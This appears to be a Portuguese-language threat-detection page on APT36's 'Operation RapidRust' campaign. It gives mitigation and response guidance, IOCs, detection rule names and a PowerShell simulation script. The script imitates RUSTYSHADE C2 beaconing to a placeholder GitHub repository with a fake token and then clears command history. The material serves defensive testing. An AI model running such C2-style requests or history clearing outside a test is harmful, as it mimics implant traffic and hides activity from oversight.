APT36 Lança a Operação RapidRust com RUSTYSHADE e RUSTYMOVE
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
O ator de ameaça com nexus no Paquistão, APT36, está conduzindo uma campanha rastreada como Operação RapidRust contra organizações governamentais e de defesa. O grupo introduziu um novo malware baseado em Rust, incluindo o backdoor RUSTYSHADE e a ferramenta de propagação RUSTYMOVE. O APT36 também utiliza scripts especializados de roubo de arquivos, PSNATCH e BASHNATCH, para coletar e exfiltrar dados através de repositórios privados no GitHub.
Investigação
A Zscaler ThreatLabz identificou novas famílias de malware e ferramentas pós-comprometimento usadas pelo APT36 em agosto de 2026. A investigação revelou que o RUSTYSHADE está abusando da API REST do GitHub para comando e controle e domínios typo-squatted para a preparação de carga útil. Pesquisadores também observaram tentativas de movimento lateral e propagação do RUSTYMOVE através de mídia removível para alcançar ambientes isolados.
Mitigação
As organizações devem monitorar o uso não autorizado da API do GitHub e conexões de saída incomuns com serviços de armazenamento em nuvem, como o Backblaze. Controles rigorosos devem ser aplicados em mídias removíveis, enquanto tarefas agendadas suspeitas disfarçadas como atualizações legítimas devem ser detectadas. O monitoramento de endpoints também deve identificar execução não autorizada de scripts em PowerShell ou Bash e atividade incomum de exfiltração de arquivos.
Resposta
Se for detectada atividade maliciosa, endpoints Windows e Linux afetados devem ser isolados imediatamente para evitar movimento lateral e exfiltração de dados. Os respondedores devem inspecionar tarefas agendadas e procurar por arquivos como DriverInstaller.zip or Automata-20.exe. Logs de rede também devem ser revisados para conexões com theprints[.]org, indiatodays[.]org, e atividade suspeita da API do GitHub originada do ambiente.
Fluxo de Ataque
Ainda estamos atualizando esta parte.
Detecções
Possibilidade de Execução por Linhas de Comando PowerShell Ocultas (via cmdline)
Download ou Upload via PowerShell (via cmdline)
Possível Descoberta de Sistema Remoto ou Verificação de Conectividade (via cmdline)
Possível Descoberta de Compartilhamentos de Rede (via cmdline)
Possível Enumeração de Conta de Administrador ou Grupo (via cmdline)
Possível Descoberta de Configuração de Rede do Sistema (via cmdline)
Execução Suspeita do Perfil de Usuário Público (via process_creation)
Possível Criação de Tarefa Agendada (via PowerShell)
Possível Tentativa de Comunicação de Consulta de Domínio de IP (via dns)
IOCs (HashSha256) para detectar: Operação RapidRust: APT36 Implanta RUSTYSHADE, RUSTYMOVE, PSNATCH e BASHNATCH
IOCs (HashSha1) para detectar: Operação RapidRust: APT36 Implanta RUSTYSHADE, RUSTYMOVE, PSNATCH e BASHNATCH
IOCs (HashMd5) para detectar: Operação RapidRust: APT36 Implanta RUSTYSHADE, RUSTYMOVE, PSNATCH e BASHNATCH
Comunicação C2 do RUSTYSHADE via API do GitHub [Conexão de Rede do Windows]
Detecção de Atividade RUSTYSHADE e RUSTYMOVE via PowerShell [PowerShell do Windows]
Execução de Simulação
-
Narrativa & Comandos do Ataque: O adversário implantou com sucesso um implante do tipo RUSTYSHADE em uma estação de trabalho Windows. Para receber instruções adicionais, o implante deve se comunicar com o seu C2 hospedado no GitHub. O implante tentará alcançar um repositório específico para buscar uma carga útil. Para contornar filtros básicos de perímetro que possam bloquear o acesso anônimo à API, o implante usa um Token de Acesso Pessoal (PAT) codificado passado através do
Authorization: token <TOKEN>cabeçalho. Esta ação é destinada a parecer uma ferramenta legítima de desenvolvedor buscando metadados de repositório, mas a combinação específica do URL do repositório e otokenprefixo no cabeçalho disparará a regra de detecção. -
Script de Teste de Regressão:
# Script de simulação para imitar a comunicação C2 do RUSTYSHADE # Este script gera uma solicitação que corresponde à lógica de detecção: # 1. URL contém 'api.github.com/repos/' # 2. Cabeçalho contém 'Authorization: token' $targetUrl = "https://api.github.com/repos/adversary-c2/malicious-repo/contents/config.json" $fakeToken = "ghp_sImUlAtEdToKeN1234567890AbCdEfGhIjKlMnOpQrStUvWxYz" # Construindo o cabeçalho para corresponder exatamente à string 'token' exigida pela regra $headers = @{ "Authorization" = "token $fakeToken" "User-Agent" = "RUSTYSHADE-Implant/1.0" } Write-Host "Tentando comunicação C2 para $targetUrl..." try { # Usamos -ErrorAction SilentlyContinue porque o URL é falso e retornará 404, # mas o proxy ainda registrará a tentativa de solicitação. Invoke-WebRequest -Uri $targetUrl -Headers $headers -Method Get -ErrorAction SilentlyContinue Write-Host "Solicitação de simulação enviada com sucesso." } catch { Write-Host "Solicitação enviada (Erro esperado devido ao URL falso, mas logs do proxy devem capturar a tentativa)." } -
Comandos de Limpeza:
# Nenhuma alteração persistente foi feita no sistema; # no entanto, limpamos o histórico de comandos para manter limpeza. Clear-History